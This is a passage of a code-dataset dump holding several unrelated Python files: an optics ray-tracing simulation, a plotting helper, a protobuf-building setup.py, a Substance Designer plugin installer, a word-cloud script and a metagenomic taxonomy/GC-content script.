np.mean(beam1.y), np.mean(beam1.z))\n# print(np.mean(beam1.vx), np.mean(beam1.vy), np.mean(beam1.vz))\n# print(np.mean(beam1.x**2)-(np.mean(beam1.x))**2, np.mean(beam1.y**2)-(np.mean(beam1.y))**2, np.mean(beam1.z**2)-(np.mean(beam1.z))**2)\n#\n# [beam1, t] = oe1. intersection_with_optical_element(beam1)\n# oe1.output_direction_from_optical_element(beam1)\n#\n#\n# t = (q - beam1.y)/beam1.vy\n# #t = - beam1.x/beam1.vx\n# beam1.x = beam1.x + beam1.vx * t\n# beam1.y = beam1.y + beam1.vy * t\n# beam1.z = beam1.z + beam1.vz * t\n#\n#\n#\n# beam1.plot_xz()\n# plt.title(\"oe1\")\n ####### Before for ##############################################################################################\n\n\n #beam.z = - beam.x.copy()\n #velocity = Vector(-np.mean(beam.x), -np.mean(beam.y),-np.mean(beam.z))\n #velocity.normalization()\n #beam.vx = beam.vx*0 + velocity.x\n #beam.vy = beam.vy*0 + velocity.y\n #beam.vz = beam.vz*0 + velocity.z\n\n\n\n #beam = Beam(25000)\n #yp = p / np.sqrt(1+2*np.tan(90*np.pi/180-theta)**2)\n #xp = - yp * np.cos(theta)\n #zp = yp * np.cos(theta)\n\n #beam.set_point(xp, yp, zp)\n #beam.set_circular_spot(1e-3)\n #beam.plot_xz()\n\n #velocity = Vector(-xp, -yp, -zp)\n #velocity.normalization()\n #beam.vx = beam.vx * 0 + velocity.x\n #beam.vy = beam.vy * 0 + velocity.y\n #beam.vz = beam.vz * 0 + velocity.z\n\n\n #print(\"yp = %f, xp = %f, p = %f\" %(yp, xp, p))\n\n\n\n [beam1, t1] = oe1.intersection_with_optical_element(beam1)\n [beam2, t2] = oe2.intersection_with_optical_element(beam2)\n\n\n print(\"t2 < t1: %d\" %(np.size(np.where(t2 xmax)\n beam1.flag[indices] = -1\n indices = np.where(beam1.x < xmin)\n beam1.flag[indices] = -1\n\n indices = np.where(beam1.y > ymax)\n beam1.flag[indices] = -1\n indices = np.where(beam1.y < ymin)\n beam1.flag[indices] = -1\n\n indices = np.where(beam1.z > zmax)\n beam1.flag[indices] = -1\n indices = np.where(beam1.z < zmin)\n beam1.flag[indices] = -1\n\n print(beam1.flag)\n\n beam1.plot_good_xz(0)\n plt.title(\"beam1 after\")\n beam1.plot_good_yx(0)\n plt.title(\"beam1 after\")\n\n ########## Good rays beam2\n\n indices = np.where(beam2.x > xmax)\n beam2.flag[indices] = -1\n indices = np.where(beam2.x < xmin)\n beam2.flag[indices] = -1\n\n indices = np.where(beam2.y > ymax)\n beam2.flag[indices] = -1\n indices = np.where(beam2.y < ymin)\n beam2.flag[indices] = -1\n\n indices = np.where(beam2.z > zmax)\n beam2.flag[indices] = -1\n indices = np.where(beam2.z < zmin)\n beam2.flag[indices] = -1\n\n #beam2.plot_good_xz(0)\n #plt.title(\"beam2 after\")\n #beam2.plot_good_yx(0)\n #plt.title(\"beam2 after\")\n\n ######first iteration##################################################################################################\n\n indices1 = np.where(beam1.flag < 0)\n indices2 = np.where(beam2.flag < 0)\n\n # print(\"max(t1) = %f, max(t2) = %f\" % (np.max(t1), np.max(t2)))\n\n maxim = max(abs(np.max(t1)), abs(np.max(t2)))\n\n # print(\"\\nhello world\")\n\n # print(\"Mean time: t1 = %f, t2 = %f\" % (np.mean(t1), np.mean(t2)))\n\n t1[indices1] = t1[indices1]*0 + 1e12\n t2[indices2] = t2[indices2]*0 + 1e12\n\n t = np.minimum(t1, t2)\n origin = np.ones(beam1.N)\n\n indices = np.where(t2 < t1)\n origin[indices] += 1\n\n indices = np.where(t == 1e12)\n origin[indices] = 3\n\n beam3.flag += -1\n beam3.flag[indices] = 0\n\n indices = np.where(beam3.flag >= 0)\n\n # print(\"beam3 good rays = %d, bad rays = %d\" % (np.size(indices), beam3.N - np.size(indices)))\n\n t[indices] = t3[indices]\n\n print(\"Rays on oe1 = %f\" % (np.size(np.where(origin == 1))))\n print(\"Rays on oe2 = %f\" % (np.size(np.where(origin == 2))))\n print(\"Rays on screen (No reflection)= %f\" % (np.size(np.where(origin == 3))))\n\n # print(origin)\n\n # beam3.plot_xz()\n\n #####3 good beam####################################################################################################\n\n indices1 = np.where(origin == 1)\n beam01 = beam1.part_of_beam(indices1)\n indices1 = np.where(origin == 2)\n beam02 = beam2.part_of_beam(indices1)\n indices1 = np.where(origin == 3)\n beam03 = beam3.part_of_beam(indices1)\n\n # print(\"The total size of the three beam is: %f + %f + %f = %f\" % (beam01.N, beam02.N, beam03.N, beam01.N + beam02.N + beam03.N))\n\n\n ####### Starting the for cicle ###################################################################################\n\n beam1_list = [beam01.duplicate(), Beam(), Beam(), Beam(), Beam()]\n beam2_list = [beam02.duplicate(), Beam(), Beam(), Beam(), Beam()]\n beam3_list = [beam03.duplicate(), Beam(), Beam(), Beam(), Beam()]\n\n print(\"Rays, at the first step, arriving on\\n-oe1 = %d\\n-oe2 = %d\\n-screen = %d\" %(beam01.N, beam02.N, beam03.N))\n\n\n\n #for i in range(0, 2):\n\n ##### oe1 beam\n\n i = 0\n\n\n oe1.output_direction_from_optical_element(beam1_list[i])\n beam1_list[i].flag *= 0\n\n print(\"Ray on oe1 = %d\" %(beam1_list[i].N))\n\n beam2_list[i + 1] = beam1_list[i].duplicate()\n beam3_list[i + 1] = beam1_list[i].duplicate()\n\n [beam2_list[i + 1], t2] = oe2.intersection_with_optical_element(beam2_list[i + 1])\n [beam3_list[i + 1], t3] = screen.intersection_with_optical_element(beam3_list[i + 1])\n\n origin = 2 * np.ones(beam1_list[i].N)\n\n indices = np.where(beam2_list[i + 1].x > xmax)\n beam2_list[i + 1].flag[indices] = -1\n indices = np.where(beam2_list[i + 1].x < xmin)\n beam2_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam2_list[i + 1].z > ymax)\n beam2_list[i + 1].flag[indices] = -1\n indices = np.where(beam2_list[i + 1].z < ymin)\n beam2_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam2_list[i + 1].y > zmax)\n beam2_list[i + 1].flag[indices] = -1\n indices = np.where(beam2_list[i + 1].y < zmin)\n beam2_list[i + 1].flag[indices] = -1\n\n\n #beam2_list[i+1].plot_xz(0)\n #beam2_list[i+1].plot_yx(0)\n #beam2_list[i+1].plot_zy(0)\n\n\n maxim = 2 * max(max(abs(t2)), max(abs(t3)))\n\n indices = np.where(beam2_list[i + 1].flag < 0)\n t2[indices] += 2 * maxim\n\n t = np.minimum(t2, t3)\n\n indices = np.where(t3 < t2)\n origin[indices] = 3\n\n # print(\"Now the value of i is %d\" %(i))\n beam03 = beam3_list[i + 1].part_of_beam(indices)\n\n\n print(\"One reflection (FHM) = %d\" %beam03.N)\n\n indices = np.where(origin == 2)\n beam2_list[i + 1] = beam2_list[i + 1].part_of_beam(indices)\n\n ####oe2 beam\n\n oe2.output_direction_from_optical_element(beam2_list[i])\n beam2_list[i].flag *= 0\n\n\n print(\"Ray on oe2 = %d\" %(beam2_list[i].N))\n\n beam1_list[i + 1] = beam2_list[i].duplicate()\n beam3_list[i + 1] = beam2_list[i].duplicate()\n\n [beam1_list[i + 1], t1] = oe1.intersection_with_optical_element(beam1_list[i + 1])\n [beam3_list[i + 1], t3] = screen.intersection_with_optical_element(beam3_list[i + 1])\n\n origin02 = np.ones(beam2_list[i].N)\n\n indices = np.where(beam1_list[i + 1].x > xmax)\n beam1_list[i + 1].flag[indices] = -1\n indices = np.where(beam1_list[i + 1].x < xmin)\n beam1_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam1_list[i + 1].y > ymax)\n beam1_list[i + 1].flag[indices] = -1\n indices = np.where(beam1_list[i + 1].y < ymin)\n beam1_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam1_list[i + 1].z > zmax)\n beam1_list[i + 1].flag[indices] = -1\n indices = np.where(beam1_list[i + 1].z < zmin)\n beam1_list[i + 1].flag[indices] = -1\n\n #beam1_list[i+1].plot_xz(0)\n #beam1_list[i+1].plot_yx(0)\n #beam1_list[i+1].plot_zy(0)\n #plt.show()\n\n\n\n #print(i)\n #print(beam1_list[i+1].flag)\n #print(t1, t3)\n\n\n maxim = 2 * max(max(abs(t1)), max(abs(t3)))\n\n\n\n indices = np.where(beam1_list[i + 1].flag < 0)\n t1[indices] += 2 * maxim\n\n t = t1.copy()\n t[indices] = t3[indices]\n\n # indices = np.where(t3 < t1)\n\n origin02[indices] += 2\n\n indices = np.where(origin02 == 3)\n\n beam003 = beam3_list[i + 1].part_of_beam(indices)\n\n\n print(\"One reflection (FVM) = %d\" %beam003.N)\n\n # print(\"Now the value of i is %d\" %(i))\n\n\n beam3_list[i + 1] = beam03.merge(beam003)\n beam3_list[i + 1] = beam03.merge(beam003)\n\n\n\n\n # beam3_list[i + 1] = beam003.duplicate()\n # beam3_list[i+1].plot_xz()\n\n indices = np.where(origin02 == 1)\n beam1_list[i + 1] = beam1_list[i + 1].part_of_beam(indices)\n\n #beam3_list[i+1].plot_xz()\n #plt.title(\"pro\")\n\n\n######## last iteration ################################################################################################\n\n\n i = 1\n\n oe1.output_direction_from_optical_element(beam1_list[i])\n beam1_list[i].flag *= 0\n\n print(\"Ray on oe1 = %d\" % (beam1_list[i].N))\n\n beam2_list[i + 1] = beam1_list[i].duplicate()\n beam3_list[i + 1] = beam1_list[i].duplicate()\n\n [beam2_list[i + 1], t2] = oe2.intersection_with_optical_element(beam2_list[i + 1])\n [beam3_list[i + 1], t3] = screen.intersection_with_optical_element(beam3_list[i + 1])\n\n origin = 2 * np.ones(beam1_list[i].N)\n\n indices = np.where(beam2_list[i + 1].x > xmax)\n beam2_list[i + 1].flag[indices] = -1\n indices = np.where(beam2_list[i + 1].x < xmin)\n beam2_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam2_list[i + 1].z > ymax)\n beam2_list[i + 1].flag[indices] = -1\n indices = np.where(beam2_list[i + 1].z < ymin)\n beam2_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam2_list[i + 1].y > zmax)\n beam2_list[i + 1].flag[indices] = -1\n indices = np.where(beam2_list[i + 1].y < zmin)\n beam2_list[i + 1].flag[indices] = -1\n\n maxim = 2 * max(max(abs(t2)), max(abs(t3)))\n\n indices = np.where(beam2_list[i + 1].flag < 0)\n t2[indices] += 2 * maxim\n\n t = np.minimum(t2, t3)\n\n indices = np.where(t3 < t2)\n origin[indices] = 3\n\n # print(\"Now the value of i is %d\" %(i))\n beam03 = beam3_list[i + 1].part_of_beam(indices)\n\n indices = np.where(origin == 2)\n beam2_list[i + 1] = beam2_list[i + 1].part_of_beam(indices)\n\n ####oe2 beam\n\n oe2.output_direction_from_optical_element(beam2_list[i])\n beam2_list[i].flag *= 0\n\n print(\"Ray on oe2 = %d\" % (beam2_list[i].N))\n\n beam1_list[i + 1] = beam2_list[i].duplicate()\n beam3_list[i + 1] = beam2_list[i].duplicate()\n\n [beam1_list[i + 1], t1] = oe1.intersection_with_optical_element(beam1_list[i + 1])\n [beam3_list[i + 1], t3] = screen.intersection_with_optical_element(beam3_list[i + 1])\n\n origin02 = np.ones(beam2_list[i].N)\n\n indices = np.where(beam1_list[i + 1].x > xmax)\n beam1_list[i + 1].flag[indices] = -1\n indices = np.where(beam1_list[i + 1].x < xmin)\n beam1_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam1_list[i + 1].y > ymax)\n beam1_list[i + 1].flag[indices] = -1\n indices = np.where(beam1_list[i + 1].y < ymin)\n beam1_list[i + 1].flag[indices] = -1\n\n indices = np.where(beam1_list[i + 1].z > zmax)\n beam1_list[i + 1].flag[indices] = -1\n indices = np.where(beam1_list[i + 1].z < zmin)\n beam1_list[i + 1].flag[indices] = -1\n\n maxim = 2 * max(max(abs(t1)), max(abs(t3)))\n\n indices = np.where(beam1_list[i + 1].flag < 0)\n t1[indices] += 2 * maxim\n\n t = t1.copy()\n t[indices] = t3[indices]\n\n # indices = np.where(t3 < t1)\n\n origin02[indices] += 2\n\n indices = np.where(origin02 == 3)\n\n beam003 = beam3_list[i + 1].part_of_beam(indices)\n\n # print(\"Now the value of i is %d\" %(i))\n beam3_list[i + 1] = beam03.merge(beam003)\n\n # beam3_list[i + 1] = beam003.duplicate()\n # beam3_list[i+1].plot_xz()\n\n indices = np.where(origin02 == 1)\n beam1_list[i + 1] = beam1_list[i + 1].part_of_beam(indices)\n\n plt.figure()\n plt.plot(beam3_list[0].x, beam3_list[0].z, 'ro')\n plt.plot(beam3_list[1].x, beam3_list[1].z, 'bo')\n plt.plot(beam3_list[2].x, beam3_list[2].z, 'go')\n # plt.plot(beam1_list[3].x, beam1_list[3].z, 'yo')\n # plt.plot(beam1_list[4].x, beam1_list[4].z, 'ko')\n plt.xlabel('x axis')\n plt.ylabel('z axis')\n plt.axis('equal')\n\n beam3_list[2].histogram()\n\n beam3_list[2].plot_xz()\n\n print(\"No reflection: %d\\nOne reflection: %d\\nTwo reflection: %d\" %(beam3_list[0].N, beam3_list[1].N, beam3_list[2].N))\n\n\n # beam003.plot_xz()\n\n\n\n\nplt.show()\n\n\n","sub_path":"Montel_parabolic.py","file_name":"Montel_parabolic.py","file_ext":"py","file_size_in_byte":18051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"563414811","text":"from mpl_toolkits.axes_grid1 import host_subplot\nimport mpl_toolkits.axisartist as AA\nimport matplotlib.pyplot as plt\nfrom utility import *\nimport scipy\nimport numpy as np\nfrom range import range\nimport sys\n\ncolor_list = [ 'red', 'lime', 'mediumblue', 'orange', 'purple', 'turquoise',\n 'green', 'yellow', 'brown', 'deepskyblue', 'hotpink', 'peru', 'tomato',\n 'olive']\n\nclass graph_base(object) :\n\n arg_table = { \\\n 'x_values': [],\n 'y_values' : [[]],\n 'y_axis' : None,\n 'x_label' : '',\n 'y_label' : '',\n 'labels' : [],\n 'title' : '',\n 'subtitle' : '',\n 'titlepos' : None,\n 'note' : None,\n }\n\n def __init__(self, **kwargs):\n construct(self, graph_base.arg_table, kwargs)\n self.figure, self.subplot = plt.subplots()\n self.legends = []\n #self.figure.set_size_inches(9,7, forward=True)\n\n def add_plot(self, subplot, x, y, label=None, color='black'):\n new_x = np.linspace(min(x), max(x), num=len(x) * 10, endpoint=True)\n interp = scipy.interpolate.interp1d(x, y, kind='cubic')\n p, = subplot.plot(new_x, interp(new_x), label=label, color=color)\n return p\n\n def add_legend(self) :\n if self.legends:\n z = zip(*self.legends)\n self.legend = self.subplot.legend(handles=z[0], labels=z[1], loc=\"best\")\n else :\n self.legend = self.subplot.legend(loc=\"best\")\n self.legend.get_frame().set_alpha(0.3)\n\n def add_legend_item(self, label, color):\n self.legends.append((plt.Line2D((0,1),(0,0), color=color), label))\n \n def add_title(self):\n if self.title :\n text = self.title\n if self.subtitle :\n text += ': '\n text += self.subtitle\n self.subplot.title.set_position(self.titlepos or (0.5, 1.05))\n self.subplot.title.set_text(text)\n self.subplot.title.set_size(14)\n self.subplot.title.set_weight(\"bold\")\n\n def add_note(self):\n if self.note :\n self.subplot.text(0.5, 0.9, self.note, transform=self.subplot.transAxes, fontsize=12, fontweight=\"bold\")\n\n def _do_x_axis(self) :\n if isinstance(self.x_values, range) :\n self.x_values = self.x_values.values()\n self.x_max = round(max(self.x_values), 2)\n self.x_min = round(min(self.x_values), 2, round_up=False)\n self.subplot.set_xlim(self.x_min, self.x_max)\n self.subplot.set_xlabel(self.x_label)\n\n def _do_y_axis(self, values=None):\n values = values or self.y_values\n if isinstance(values, range) :\n values = self.values.values()\n if self.y_axis :\n self.y_min, self.y_max = min(self.y_axis), max(self.y_axis)\n else :\n self.y_max = round(max([max(y) for y in values]), 2)\n self.y_min = round(min([min(y) for y in values]), 2, round_up=False)\n if len(self.labels) < len(values):\n self.labels += [''] * (len(values) - len(self.labels))\n self.subplot.set_ylim(self.y_min, self.y_max)\n if self.y_label :\n self.subplot.set_ylabel(self.y_label)\n\n def finish(self):\n self.add_title()\n self.add_note()\n self.add_legend()\n\n def show(self) :\n self.finish()\n plt.show()\n\n def colors(self) :\n while True :\n for c in color_list :\n yield c\n\nclass single_axis_graph(graph_base) :\n\n def __init__(self, **kwargs) :\n graph_base.__init__(self, **kwargs)\n self._do_x_axis()\n self._do_y_axis()\n for lab, y, c in zip(self.labels, self.y_values, self.colors()):\n self.add_plot(self.subplot, self.x_values, y, lab, color=c)\n\nclass multi_axis_graph(graph_base) :\n\n def __init__(self, **kwargs) :\n graph_base.__init__(self, **kwargs)\n self.figure.subplots_adjust(right=0.65)\n self.subplots = [ self.subplot ]\n offset = 1\n for l in self.labels[1:] :\n sp = self.subplot.twinx()\n self.subplots.append(sp)\n sp.spines['right'].set_position(('axes', offset))\n sp.set_frame_on(True)\n sp.patch.set_visible(False)\n offset += 0.16\n self._do_x_axis()\n legends = []\n for sp, l, y, c in zip(self.subplots, self.labels, self.y_values, self.colors()) :\n p = self.add_plot(sp, self.x_values, y, l, color=c)\n ymin = round(min(min(y), 0), 1, round_up=False)\n ymax = 0 if max(y)<=0 else round(max(y), 1)\n sp.set_ylim(ymin, ymax)\n sp.set_ylabel(l, color=c)\n sp.tick_params('y', colors=c)\n self.add_legend_item(l, c)\n\n","sub_path":"graphing.py","file_name":"graphing.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"98502616","text":"# -*- encoding: utf-8 -*-\n\n\nfrom collections import Iterable\n\n\ndef flatten(x):\n \"\"\"\n Делает простой список из всего.\n \"\"\"\n return [y for l in x for y in flatten(l)] if type(x) is list else [x]\n \n\ndef glue(components, separator=' '):\n assert isinstance(components, Iterable), \\\n u'Неверный параметр '\n assert isinstance(separator, basestring), \\\n u'Неверный параметр '\n return separator . join(map(lambda x: str(x).strip(), \n [item for item in components if item]))\n\n","sub_path":"tasks/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"513430536","text":"#!/usr/bin/env python\nimport shutil\nfrom setuptools.extension import Extension\n\nimport sys\nimport os\nimport subprocess\n\nfrom setuptools.command.build_py import build_py as _build_py\nfrom setuptools import setup\n\ndef exec_generate_proto(source):\n python = shutil.which(\"python\")\n if not python:\n python = shutil.which(\"python3\")\n\n protoc_command = [ python, \"-m\", \"grpc_tools.protoc\", \"-I.\", \"--python_out=.\", source]\n if subprocess.call(protoc_command) != 0:\n sys.exit(-1)\n sys.stdout.write(\"Generate {}_pb2.py ==> successfull\\n\".format(source.split('.')[0]))\n\n protoc_grpc_command = [ python, \"-m\", \"grpc_tools.protoc\", \"-I.\", \"--python_out=.\",\"--grpc_python_out=.\", source]\n if subprocess.call(protoc_grpc_command) != 0:\n sys.exit(-1)\n sys.stdout.write(\"Generate {}_grcp_pb2.py ==> successfull\\n\".format(source.split('.')[0]))\n\ned25519_sha3_path = \"cli/cli_ed25519\"\nsources = [ed25519_sha3_path+\"/cli_ed25519module.c\"]\nsources.extend([ed25519_sha3_path+\"/lib/\" + s for s in os.listdir(ed25519_sha3_path+\"/lib/\") if s.endswith(\".c\")])\nmodule_ed25519_sha3 = Extension(\"cli_ed25519\",include_dirs=[ed25519_sha3_path+\"/lib/\"], sources=sources)\n\n\nclass GeneratePb(_build_py):\n def run(self):\n os.chdir(\"schema/\")\n exec_generate_proto('block.proto')\n exec_generate_proto('commands.proto')\n exec_generate_proto('endpoint.proto')\n exec_generate_proto('primitive.proto')\n exec_generate_proto('queries.proto')\n exec_generate_proto('responses.proto')\n os.chdir(\"..\")\n _build_py.run(self)\n\nif __name__ == '__main__':\n setup(\n name='iroha-ya-cli',\n version='1.2.2',\n description='Cli for hyperledger/iroha',\n author='Sonoko Mizuki',\n license='Apache',\n author_email='mizuki.sonoko@gmail.com',\n packages = ['cli', 'schema'],\n ext_modules=[module_ed25519_sha3],\n include_package_data=True,\n install_requires=[\n 'grpcio',\n 'grpcio-tools',\n 'protobuf',\n 'PyYAML',\n\n 'sha3',\n 'ed25519'\n ],\n cmdclass={\n 'build_py': GeneratePb,\n },\n classifiers=[\n 'Programming Language :: Python :: 3.5',\n\n 'Development Status :: 4 - Beta',\n\n 'License :: OSI Approved :: Apache Software License',\n 'Topic :: Utilities'\n ],\n entry_points={\n 'console_scripts':\n ['iroha-ya-cli=cli.main:main']\n }\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"394970747","text":"# ADOBE CONFIDENTIAL\n#\n# Copyright 2019 Adobe\n# All Rights Reserved.\n#\n# NOTICE: Adobe permits you to use, modify, and distribute this file in\n# accordance with the terms of the Adobe license agreement accompanying it.\n# If you have received this file from a source other than Adobe,\n# then your use, modification, or distribution of it requires the prior\n# written permission of Adobe.\n#\n\nimport os\nimport sys\nimport json\nimport zipfile\n\nfrom sd.api.sdplugin import SDPlugin\nfrom sd.api.sdpluginmgr import SDPluginMgr\n\nfrom PySide2 import QtCore\n\ndef installPackage(packagePath, pluginMgr, model):\n packageDir = os.path.dirname(packagePath)\n packageFilename = os.path.basename(packagePath)\n packageName, _ = os.path.splitext(packageFilename)\n\n # Open the package.\n try:\n archive = zipfile.ZipFile(packagePath, 'r')\n except:\n raise RuntimeError(\n QtCore.QCoreApplication.translate(\"PluginManagerUI\", \"Couldn't open package \") + packagePath)\n\n # Read the metadata.\n try:\n # Don't use os.path.join. Zip archives always use / as the path separator.\n metadata = archive.read(packageName + '/pluginInfo.json')\n metadata = metadata.decode(\"utf-8\")\n except:\n archive.close()\n raise RuntimeError(\n QtCore.QCoreApplication.translate(\"PluginManagerUI\", \"Couldn't read pluginInfo.json file inside package \") + packagePath)\n\n # Check that the plugin is compatible.\n err = pluginMgr.checkPluginCompatibility(metadata)\n if err:\n archive.close()\n raise RuntimeError(err)\n\n # Install the plugin package.\n userPluginDir = pluginMgr.getUserPluginsDir()\n\n if os.path.exists(os.path.join(userPluginDir, packageName)):\n archive.close()\n raise RuntimeError(\n QtCore.QCoreApplication.translate(\"PluginManagerUI\", \"A package named {0} is already installed in {1}.\").format(packageName, userPluginDir))\n\n archive.extractall(userPluginDir)\n archive.close()\n\n # Add the plugin dir to the path, so that it can be imported.\n pluginDir = os.path.join(userPluginDir, packageName)\n if not pluginDir in sys.path:\n sys.path.append(pluginDir)\n\n plugin = pluginMgr.loadPlugin(packageName, userPluginDir)\n index = model.newPluginLoaded(plugin)\n return index\n","sub_path":"SDPython/designer/installpackage.py","file_name":"installpackage.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"213990171","text":"# coding: utf-8\n\n# Crie um programa que leia um número inteiro e mostre se ele é par ou ímpar\n\n\nnumero = int(input('Digite um número: '))\n\nresultado = numero % 2\n\nif resultado == 1:\n print(f'O número {numero} é ímpar')\nelse:\n print(f'O número {numero} é par')\n","sub_path":"Prática/ex030.py","file_name":"ex030.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"172143834","text":"# GovRptWordCloud1.py\nimport jieba\nimport wordcloud\nf = open(\"新时代中国特色社会主义.txt\", \"r\", encoding=\"utf-8\")\nt = f.read()\nf.close()\nls = jieba.lcut(t)\ntxt = \" \".join(ls)\nw = wordcloud.WordCloud(width=1000, height=750, background_color=\"white\")\nw.font_path = \"msyhl.ttc\"\nw.max_words = 500\nw.generate(txt)\nw.to_file(\"GovRpt.png\")\n","sub_path":"day9/GovRptWordCloud1.py","file_name":"GovRptWordCloud1.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"409129614","text":"#Run this script in python 3.0 or above\n\n#To run this scripts the sys and ete3 libraries must be installed.\n\n\t#LIBRARIES AND GLOBAL VARIABLES\n\nimport sys \nfrom ete3 import NCBITaxa \n\nncbi = NCBITaxa() #Imports taxonomic information from \"taxdump.tar.gz\" file. This file needs to be located in the same directory as the scripts \nfilepath = sys.argv[1] #Gets the path to the .fasta file\ncalculate_coverage = int(sys.argv[2]) #Variable that indicates if the coverage needs to be calculated. 1 is yes and 0 is no\ntotal_length = int(sys.argv[3]) #Gets the total length of the contigs or scaffolds. It is only used when the coverage needs to be calculated\n\n\t#FUNCTIONS\t\n\n#This function calculates the coverage of each contig or scaffold using the fasta file and its total lenght as input\n#It returns an array (with length = # of contigs or scaffolds) with the coverage of each contig or scaffold\ndef coverage(filepath, total_length):\n\tall_coverage = []\n\twith open(\"read_count_per_contig.txt\", 'r') as all_read_count, open(\"contigs_len.txt\", 'r') as all_contig_len: \n\t\tfor contig_len, read_count in zip(all_contig_len, all_read_count):\n\t\t\ttotal = float(int(contig_len) * int(read_count)/total_length)\n\t\t\tall_coverage.append(total)\n \n\tall_read_count.close()\n\tall_contig_len.close()\n\treturn(all_coverage)\n\n\n#This function calculates the GC % percentage of each contig or scaffold using the fasta file as input\n#It returns an array (with length = # of contigs or scaffolds) with the GC % of each contig or scaffold\ndef GC_count(filepath):\n\tsequence = \"\"\n\tall_GC = []\n\twith open(filepath, 'r') as b: \n\t next(b)\n\t for line in b:\n\t if line.startswith('>'):\n\t \tGC_content = float((sequence.count('G') + sequence.count('C'))) / len(sequence) * 100\n\t \tsequence = \"\"\n\t \tall_GC.append(GC_content)\n\t else:\n\t \tsequence += line.rstrip()\n\t \n\t GC_content = float((sequence.count('G') + sequence.count('C'))) / len(sequence) * 100\n\t all_GC.append(GC_content)\n\tb.close()\n\treturn(all_GC)\n\t#This function calculates the GC % of each contig and returns all the values as a list\n\n\n#This function first translate the NCBI taxids of each contig or scaffold, obtained by using either Kraken or Kraken2, to a genomic lineage using the .kraken file as input\n#To make a consistent table, the function eliminates intermediate levels of classification that are not featured in the final table. \n#To optimize the function, a dictionary with all the previously encountered taxids and their genomic lineage is created and updated in every iteration in a way that makes it easier to deal with duplicate taxids\n#This functions prints the GC % percentage (obtained from the GC_count function) and the genomic lineage of each contig or scaffold \ndef Taxid_GC_print(all_GC):\n\n\ttaxonomic_info = []\n\ttaxonomic_lineage = [] \n\tunique_taxonomic_elements = {0: \"Unassigned\", 1: \"Root\", 2: \"Bacteria\"} \n\n\twith open(\"kraken_taxIDs.txt\") as f, open(\"temporal_table.csv\") as ff: #Opens the .krakenfile given by the user and creates the \"output.labels\" file\n\t\tall_taxids = [int(i) for i in f]\n\t\tall_prov_lines = [str(ii) for ii in ff] \n\t\tn_contig = -1\n\t\t\n\t\tfor taxid, prov_line in zip(all_taxids, all_prov_lines):\n\t\t\tn_contig += 1\n\t\t\tfinal_line = \"\"\n\t\t\tif taxid in unique_taxonomic_elements:\n\t\t\t\tline_to_be_inserted = \",\".join([str(all_GC[n_contig]),unique_taxonomic_elements.get(taxid)])\n\t\t\t\tfinal_line = prov_line.rstrip() + \",\" + line_to_be_inserted\n\t\t\t\tprint (final_line)\n\t\t\telse: \n\t\t\t\tlineage = ncbi.get_lineage(taxid) #Gets the taxonomic lineage of a taxid \n\t\t\t\tnames = ncbi.get_taxid_translator(lineage) #Gets the name of each component of the taxonomic lineage\n\t\t\t\tlineage2ranks = ncbi.get_rank(names) #Gets the taxonomic order (superkingdom, phylum, etc...) of each component of the taxonomic lineage\n\t\t\t\tno_rank=[k for k,v in lineage2ranks.items() if v== 'no rank'] #Makes a list of the components of the lineage without a defined taxonomic order (the \"no ranks\")\n\t\t\t\tsub_species_taxid=lineage.pop() #Saves the sub-species taxid, as it does not have a formal taxonomic category yet \n\t\t\t\tlineage_without_no_rank = [m for m in lineage if m not in no_rank] #Deletes the lineage components that do not have a defined taxonomic order\n\t\t\t\tlineage_without_no_rank.append(sub_species_taxid) #Re-inserts the sub-species taxid\n\t\t\t\ttaxonomic_lineage = (\",\".join([names[taxid] for taxid in lineage_without_no_rank])) #Makes a string of the translated taxonomic lineage of the original taxid (without \"no ranks\" but including sub-species)\n\t\t\t\tunique_taxonomic_elements.update({taxid: taxonomic_lineage}) \n\t\t\t\t\n\t\t\t\tline_to_be_inserted = \",\".join([str(all_GC[n_contig]),taxonomic_lineage])\n\t\t\t\tfinal_line = prov_line.rstrip() + \",\" + line_to_be_inserted\n\t\t\t\tprint (final_line)\n\tf.close()\n\tff.close() #This function makes the taxonomic assignment of each \n\n\n#This function is mostly the same as the previous one. \n#However, this function also prints the coverage of each contig or scaffold (obtained from the coverage function) before printing its GC % and genomic lineage\ndef Taxid_GC_cov_print(all_GC, all_coverage):\n\n\ttaxonomic_info = []\n\ttaxonomic_lineage = [] \n\tunique_taxonomic_elements = {0: \"Unassigned\", 1: \"Root\", 2: \"Bacteria\"} \n\n\twith open(\"kraken_taxIDs.txt\") as f, open(\"temporal_table.csv\") as ff: #Opens the .krakenfile given by the user and creates the \"output.labels\" file\n\t\tall_taxids = [int(i) for i in f]\n\t\tall_prov_lines = [str(ii) for ii in ff] \n\t\tn_contig = -1\n\t\t\n\t\tfor taxid, prov_line in zip(all_taxids, all_prov_lines):\n\t\t\tn_contig += 1\n\t\t\tfinal_line = \"\"\n\t\t\tif taxid in unique_taxonomic_elements:\n\t\t\t\tline_to_be_inserted = \",\".join([str(all_coverage[n_contig]),str(all_GC[n_contig]),unique_taxonomic_elements.get(taxid)])\n\t\t\t\tfinal_line = prov_line.rstrip() + \",\" + line_to_be_inserted\n\t\t\t\tprint (final_line)\n\t\t\telse: \n\t\t\t\tlineage = ncbi.get_lineage(taxid) #Gets the taxonomic lineage of a taxid \n\t\t\t\tnames = ncbi.get_taxid_translator(lineage) #Gets the name of each component of the 